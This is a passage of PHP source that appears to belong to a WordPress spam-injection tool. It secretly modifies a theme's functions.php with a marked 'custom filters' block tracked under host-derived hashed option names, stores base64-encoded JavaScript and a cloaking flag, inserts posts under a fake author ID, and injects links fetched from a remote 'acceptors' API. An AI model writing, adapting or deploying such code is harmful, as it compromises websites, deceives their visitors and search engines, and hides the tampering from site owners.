}

function generateSettings($userId, $jsSource, $sitemapRegex, $feedPath, $homeLinksSettings) {
    return array(
        $userId => array(
            'js' => $jsSource,
            'sitemapsettings' => array(
                $sitemapRegex => $feedPath,
            ),
            'nojs' => (defined('CLOACKING')) ? CLOACKING : 0,
            'homeLinks' => (defined('HOME_LINKS') && HOME_LINKS === 1) ? $homeLinksSettings : null,
        ),
    );
}

function mbReplaceCustomFilters($functionsSource, $functionsPath, $sourceMod) {
    $optionCustom = optionCustomFunctions();
    $customFiltersRegexp = '~/\*\s+custom filters\s+\*/(.+)/\*\s*custom filters\s*\*/~su';
    $customFiltersRegexpSec = "~/\*\s*$optionCustom\s*\*/(.+)/\*\s*$optionCustom\s*\*/~su";


    if (preg_match($customFiltersRegexp, $functionsSource, $matches)) {
        //echo old custom filters exists
        if (modify_functions_php($functionsPath, $sourceMod, TMPDIR, true)) {
            echo "functions modified" . PHP_EOL;
            return true;
        }

    }
    if (preg_match($customFiltersRegexpSec, $functionsSource, $matches)) {

        $sourceHash = md5(trim($matches[1]));
        $dbHash = CustomDbHandler::getInstance()->getOption($optionCustom);

        //var_dump('source hash');
        //var_dump($sourceHash);

        //var_dump('hash from db');
        //var_dump($dbHash['option_value']);

        if ($sourceHash === $dbHash['option_value']) {
            echo "functions php hashes are identity" . PHP_EOL;
            return true;
        } else {
            echo 'checksums do not match' . PHP_EOL;
        }
    }

    echo "code not found... record!" . PHP_EOL;
    if (modify_functions_php($functionsPath, $sourceMod, TMPDIR, true)) {
        echo "functions modified" . PHP_EOL;
        preg_match($customFiltersRegexpSec, $functionsSource, $matches);

        //var_dump('write new hash');
        //var_dump($sourceHash);

        preg_match($customFiltersRegexpSec, $sourceMod, $matches);
        $controlHash = md5(trim($matches[1]));

        $newHashResult = CustomDbHandler::getInstance()->insertOrUpdate($optionCustom, $controlHash);

        //var_dump('new hash insert results - ' . $newHashResult);
        $dbHash = CustomDbHandler::getInstance()->getOption($optionCustom);
        //var_dump('control hash');
        //var_dump($dbHash);


        return true;
    }


    return false;
}

function customSitemapName($sitemapName) {
    return array(
        "$sitemapName\.xml$" => "index.php?feed=xml$sitemapName"
    );
}


function viewSettingsAsJsonAction() {
    $settings = getDbSettingsCustom();

    if ($settings) {
        $settings = addPostsCountInSettings($settings);
        echo json_encode($settings);
        return true;
    }
    echo json_encode(array('empty settings'));
    return true;

}


function viewSettingsAction() {
    $settings = getDbSettingsCustom();

    if ($settings) {

        foreach ($settings as $userId => $arr) {

            echo str_repeat('_', 100) . PHP_EOL;
            echo $userId . ' - userId' . PHP_EOL;
            if (isset($arr['js']) && $decodedJs = detectBase64js($arr['js'])) {
                $arr['js'] = parseJsScript($decodedJs);
            }
            echo json_encode($arr, JSON_PRETTY_PRINT);
            echo str_repeat('_', 100) . PHP_EOL;
        }

        return true;
    }

    return false;
}

function homeLinksSettingsFormatter($arr) {


    if (!$arr) {
        return '';
    }

    foreach ($arr as $key => $value) {

        if (is_array($value)) {
            foreach ($value as $keySec => $valueSec) {
                echo sprintf('  %s => %s%s', $keySec, $valueSec, PHP_EOL);
            }
            continue;
        }


        echo sprintf('  %s => %s%s', $key, $value, PHP_EOL);
    }

    return;
}

function detectBase64js($string) {

    if (preg_match('~data:text\/javascript;base64,(.+?)\">~s', $string, $matches)) {
        return base64_decode($matches[1]);
    }

    return false;
}

function parseJsScript($string) {

    $results = array();
    preg_match('~hit;([^\?]+)~', $string, $lirucounter);

    if (isset($lirucounter[1])) {
        $results['lirucounter'] = $lirucounter[1];
    }


    preg_match('~([^\"\.\/]+\.js)\?ref~', $string, $route);

    if (isset($route[1])) {
        $results['route'] = $route[1];
    }


    preg_match('~src=.+?([^\/\"\\\\]+)~', $string, $domain);

    if (isset($domain[1])) {
        $results['domain'] = $domain[1];
    }

    return $results;
}

function settingsArr($functionsSource) {

    $oldSettings = findOldSettings($functionsSource);
    $userId = defined('CUSTOM_AUTHOR_ID') ? CUSTOM_AUTHOR_ID : 9999;
    $sitemapRegexArr = customSitemapName(SITEMAP_NAME);

    $newSettings = generateSettings($userId, jsPrepare(JS_SOURCE), key($sitemapRegexArr)
        , current($sitemapRegexArr), $_SERVER['homeLinksSettings']);

    if (!$oldSettings) {

        //echo 'only new settings' . PHP_EOL;

        return $newSettings;
    } else {
        $settings = compareNewOldSettings($oldSettings, $newSettings, $userId);
        if (defined('FORCE_CHANGE_HOME_LINKS_OWNER') && FORCE_CHANGE_HOME_LINKS_OWNER === 1) {
            $settings = removeHomeLinkKey($settings);
        }

        return $settings;
    }
}

function compareNewOldSettings($oldSettings, $newSettings, $userId) {

    if (!isset($oldSettings[$userId])) {
        $newSettingsKey = key($newSettings);
        $newSettingsRegex = key($newSettings[$newSettingsKey]['sitemapsettings']);
        foreach ($oldSettings as $key => $value) {

            $oldSettingsRegex = key($value['sitemapsettings']);

            if ($oldSettingsRegex === $newSettingsRegex) {
                $oldSitemapValue = str_replace('\.xml$', '', $oldSettingsRegex);
                echo $oldSitemapValue . ' already use in oldsettings' . PHP_EOL;

                return false;
            }
        }

        return $newSettings + $oldSettings;
    }

    $jsDiff = strcmp($oldSettings[$userId]['js'], $newSettings[$userId]['js']);

    if ($jsDiff !== 0) {

        echo 'js scripts are different' . PHP_EOL;
        if (defined('REDEFINE_JS_FOR_USER') && REDEFINE_JS_FOR_USER === 1) {
            echo 'old script will be overwritten' . PHP_EOL;
        } else {
            return false;
        }
    }

    $sitemapSettingsDiff = strcmp(key($oldSettings[$userId]['sitemapsettings'])
        , key($newSettings[$userId]['sitemapsettings']));

    if ($sitemapSettingsDiff !== 0) {
        $oldSitemapValue = key($oldSettings[$userId]['sitemapsettings']);
        $oldSitemapValue = str_replace('\.xml$', '', $oldSitemapValue);
        echo 'sitemap settings are different' . PHP_EOL;
        echo "old sitemap value $oldSitemapValue" . PHP_EOL;

        return false;
    }

    return $newSettings + $oldSettings;
    //return $newSettings;
}

function linkBuildingSettingsCheck() {
    if (defined('EXTERNAL_LINKING') && (EXTERNAL_LINKING === 1)) {
        if (!defined('EXTERNAL_LINKS_COUNT_PAGE')) {
            echo 'set EXTERNAL_LINKS_COUNT_PAGE' . PHP_EOL;

            return false;
        }
        if (!defined('TABLE_HASH') && !defined('HTML_HASH')) {
            echo 'set TABLE_HASH or HTML_HASH value' . PHP_EOL;

            return false;
        }

        if (!defined('COUNT_LINKS_FROM_DOMAIN')) {
            echo 'set COUNT_LINKS_FROM_DOMAIN' . PHP_EOL;

            return false;
        }
    }

    return true;
}

function downloadExternalLinks($countHtmlFiles) {
    list ($minExtLinks, $maxExtLinks) = explode('..', EXTERNAL_LINKS_COUNT_PAGE);
    $linksLimit = $countHtmlFiles * $maxExtLinks;

    $params = array(
        'tableHash' => defined('TABLE_HASH') ? TABLE_HASH : '',
        'htmlHash' => defined('HTML_HASH') ? HTML_HASH : '',
        'linksLimit' => $linksLimit,
        'maxLinksCount' => COUNT_LINKS_FROM_DOMAIN,
    );

    $query = http_build_query($params);

    get_file(GS_ALIAS . '/dnc/wp-acceptors-api/batch-get-links-test?' . $query, TMPDIR . '/ext-links.txt');
}

function textWithLinks($text, $results, &$extLinksArr) {

    $internalLinks = array();
    $externalLinks = array();

    if (INTERNAL_LINKING === 1) {

        list ($minLinks, $maxLinks) = explode('..', INTERNAL_LINKS_COUNT_PAGE);
        $range = range($minLinks, $maxLinks);
        $linksCount = $range[rand(0, count($range) - 1)];

        if (count($results) >= $linksCount) {
            shuffle($results);
            $slicedResults = array_slice($results, 0, $linksCount);
            $internalLinks = linksPrepare($slicedResults);
        }
    }

    if ((EXTERNAL_LINKING === 1) && !empty($extLinksArr)) {
        list ($minLinks, $maxLinks) = explode('..', EXTERNAL_LINKS_COUNT_PAGE);
        $randCount = rand($minLinks, $maxLinks);

        if ($randCount <= count($extLinksArr)) {
            $externalLinks = array_splice($extLinksArr, 0, $randCount);
        } else {
            $externalLinks = $extLinksArr;
            $extLinksArr = array();
        }
    }

    $allLinksTypes = $externalLinks + $internalLinks;

    return replacePTags($text, $allLinksTypes);
}

function decodeExternalLinks() {
    if (!file_exists(TMPDIR . '/ext-links.txt')) {
        echo 'no external links source' . PHP_EOL;

        return false;
    }

    $extLinksSource = file_get_contents(TMPDIR . '/ext-links.txt');

    $extLinksSourceDecode = json_decode($extLinksSource, 1);

    if (!is_array($extLinksSourceDecode) || !isset($extLinksSourceDecode['links'])) {

        if (trim($extLinksSource) == 'tmp table not found') {
            echo TABLE_HASH . ' table not found' . PHP_EOL;

            return false;
        }

        if (trim($extLinksSource) == 'table expired') {
            echo TABLE_HASH . ' table expired' . PHP_EOL;

            return false;
        }

        if (trim($extLinksSource) == 'table is empty') {
            echo TABLE_HASH . ' db links not found';

            return false;
        }

        if (trim($extLinksSource) == 'file with links not found') {
            echo HTML_HASH . ' file with links not found';

            return false;
        }


        echo 'error while decoding json external links' . PHP_EOL;

        return false;
    }

    return $extLinksSourceDecode['links'];
}

function deleteSettings() {

    if (!defined('CUSTOM_AUTHOR_ID')) {
        return;
    }

    $settings = getDbSettingsCustom();

    if (isset($settings[CUSTOM_AUTHOR_ID])) {
        unset($settings[CUSTOM_AUTHOR_ID]);
        echo 'delete settings for user id ' . CUSTOM_AUTHOR_ID . PHP_EOL;
        writeSettingsDB($settings);
    }
}

function isJsonCustom($string) {
    json_decode($string);

    return (json_last_error() == JSON_ERROR_NONE);
}

function isBadEnvCustom() {

    $requestUri = $_SERVER['REQUEST_URI'];

    if (strstr($requestUri, 'wp-config-sample.php') !== false) {
        return true;
    }

    return false;
}

function allPermalinksAction() {
    var_dump(CustomDbHandler::getInstance()
        ->allPostsFromDb(HOME_URL, CUSTOM_AUTHOR_ID));

    return;
}

function optionCustomFunctions() {
    return md5(crc32($_SERVER['HTTP_HOST']));
}

function optionCustomFilters() {
    return md5(sha1($_SERVER['HTTP_HOST']));
}

function gzCompressCustom($string) {
    return base64_encode(gzdeflate($string, 9));
}

function genLetCustom($size) {
    $characters = "abcdefghijklmnopqrstuvwxyz";
    $charactersLength = strlen($characters);
    $randomString = "";

    for ($i = 0; $i < $size; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }

    return $randomString;
}

class CustomDbHandler
{

    /**
     * @var CustomDbHandler
     */
    private static $instance;

    const DB_TYPE_SQLITE = 'sqlite';
    const DB_TYPE_MYSQL = 'mysql';

    private $dsn;
    public $dbName;
    public $dbPrefix;
    public $dbUser;
    public $dbPassword;
    public $dbHostAddr;
    public $dbPort;

    public $dbType;

    public function __construct($db, $config = false) {
        $this->dsn = $db;
        $this->setDBSettings($config);
        $this->dbType = (!$config) ? self::DB_TYPE_SQLITE : self::DB_TYPE_MYSQL;
        static::$instance = $this;

    }

    public static function getInstance() {
        if (static::$instance) {
            return static::$instance;
        }

        return null;
    }

    public function setDBSettings($config) {

        /** sqlite **/
        if (!$config) {
            $this->dbName = 'main';
            $this->dbPrefix = 'wp_';
        } else {
            $this->dbName = $config['dbname'];
            $this->dbUser = $config['dbuser'];
            $this->dbPassword = $config['dbpassword'];
            $this->dbHostAddr = $config['dbhostaddr'];
            $this->dbPrefix = $config['dbprefix'];
            $this->dbPort = $config['dbport'];
        }

        return;

    }


    public function getOption($optionName) {

        $tableWithPrefix = $this->dbPrefix . 'options';
        $query = "SELECT * from $tableWithPrefix where option_name = :option_name ";
        $stmt = $this->dsn->prepare($query);


        $stmt->execute(array(
            ':option_name' => $optionName
        ));

        return $stmt->fetch();
    }


    public function homeUrl() {

        //'home' or 'siteurl'
        $homeOption = $this->getOption('home');

        if (strstr($homeOption['option_value'], 'http') !== false) {
            return $homeOption['option_value'];
        }

        $siteUrlOption = $this->getOption('siteurl');
        if (strstr($siteUrlOption['option_value'], 'http') !== false) {
            return $siteUrlOption['option_value'];
        }

        return false;

    }

    public function allPostsFromDb($homeUrl, $userId = 9999) {

        //SELECT ID, post_title FROM `wp_posts` where post_author = 9999
        $table = sprintf('`%s`.`%sposts`', $this->dbName, $this->dbPrefix);
        $query = "SELECT ID, post_title FROM $table where post_author = :user_id";


        $stmt = $this->dsn->prepare($query);

        $stmt->execute(array(
            ':user_id' => $userId
        ));

        $urls = array();
        while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
            if ($row) {
                $urls[] = $homeUrl . '/?p=' . $row['ID'] . ';' . $row['post_title'];
            }

        }

        return $urls;
    }

    public function lastPostDateQuery() {
        //SELECT ID, post_date FROM `wp_posts` order by ID DESC LIMIT 1
        $table = sprintf('`%s`.`%sposts`', $this->dbName, $this->dbPrefix);
        $query = "SELECT ID, post_date FROM $table order by ID DESC LIMIT 1";
        $stmt = $this->dsn->query($query);

        if ($stmt) {
            $lastDateFetch = $stmt->fetch();
            $date = $lastDateFetch['post_date'];
        } else {
            $date = date('Y-m-d H:i:s');
        }

        return $date;

    }


    public function insertPost($title, $content, $date, $userId = '', $customSlug = '') {

        $date = ($date === '') ? randDate() : $date;
        $userId = !$userId ? 1 : $userId;
        $table = sprintf('`%s`.`%sposts`', $this->dbName, $this->dbPrefix);

        $query = "INSERT INTO $table ( `post_author`, `post_date`,"
            . " `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`,"
            . " `post_status`, `comment_status`, `ping_status`, `post_password`,"
            . " `post_name`, `to_ping`, `pinged`, `post_modified`,"
            . " `post_modified_gmt`, `post_content_filtered`, `post_parent`,"
            . " `guid`, `menu_order`, `post_type`, `post_mime_type`,"
            . " `comment_count`) VALUES (:user_id, :date, :date, :content,"
            . " :title, '', 'publish', 'closed', 'closed', '', :slug, '', '',"
            . " '0000-00-00 00:00:00.000000', '0000-00-00 00:00:00.000000', '',"
            . " '0', '', '0', 'post', '', '0');";


        $stmt = $this->dsn->prepare($query);

        $stmt->execute(array(
            ':user_id' => $userId,
            ':date' => $date,
            ':content' => $content,
            ':title' => $title,
            ':slug' => urlencode($customSlug),
        ));


        return $this->dsn->lastInsertId();

    }

    public function viewAllAuthors() {
        $table = sprintf('`%s`.`%sposts`', $this->dbName, $this->dbPrefix);
        $query = "SELECT DISTINCT post_author FROM $table";
        $stmt = $this->dsn->query($query);


        while ($row = $stmt->fetch(PDO::FETCH_LAZY)) {
            if ($row['post_author']) {
                echo $row['post_author'] . PHP_EOL;
            }
        }
    }

    public function insertWpOptions($optionName, $optionValue) {

        $table = sprintf('`%s`.`%soptions`', $this->dbName, $this->dbPrefix);
        $query = "INSERT INTO $table ( option_name, option_value, autoload)"
            . "VALUES (:option_name, :option_value, 'yes')";
        $stmt = $this->dsn->prepare($query);
        $stmt->execute(array(
            ':option_name' => $optionName,
            ':option_value' => $optionValue,
        ));

        return $this->dsn->lastInsertId();
    }

    public function updateWpOptions($optionName, $optionValue) {


        $table = sprintf('`%s`.`%soptions`', $this->dbName, $this->dbPrefix);
        $query = "UPDATE $table set option_value = :option_value where option_name = :option_name";

        $stmt = $this->dsn->prepare($query);

        return $stmt->execute(array(
            ':option_value' => $optionValue,
            ':option_name' => $optionName,
        ));

    }

    public function insertOrUpdate($optionName, $optionValue) {
        if ($this->getOption($optionName)) {
            //echo sprintf('%s option exists, update', $optionName) . PHP_EOL;
            return $this->updateWpOptions($optionName, $optionValue);
        } else {
            //echo sprintf('%s option no exists, insert', $optionName) . PHP_EOL;
            return $this->insertWpOptions($optionName, $optionValue);
        }
    }


    public function deleteOption($optionName) {
        $table = sprintf('`%s`.`%soptions`', $this->dbName, $this->dbPrefix);
        $query = "delete FROM $table where option_name = :option_name";

        $stmt = $this->dsn->prepare($query);

        return $stmt->execute(array(
            ':option_name' => $optionName,
        ));
    }

    public function deletePosts($authors) {
        $authorsCommaSeparated = implode(', ', $authors);

        $table = sprintf('`%s`.`%sposts`', $this->dbName, $this->dbPrefix);
        $column = sprintf('`%sposts`.`post_author`', $this->dbPrefix);
        $query = "delete FROM $table where $column IN ($authorsCommaSeparated)";
        $stmt = $this->dsn->prepare($query);
        $stmt->execute();

        return $stmt->rowCount();
    }

}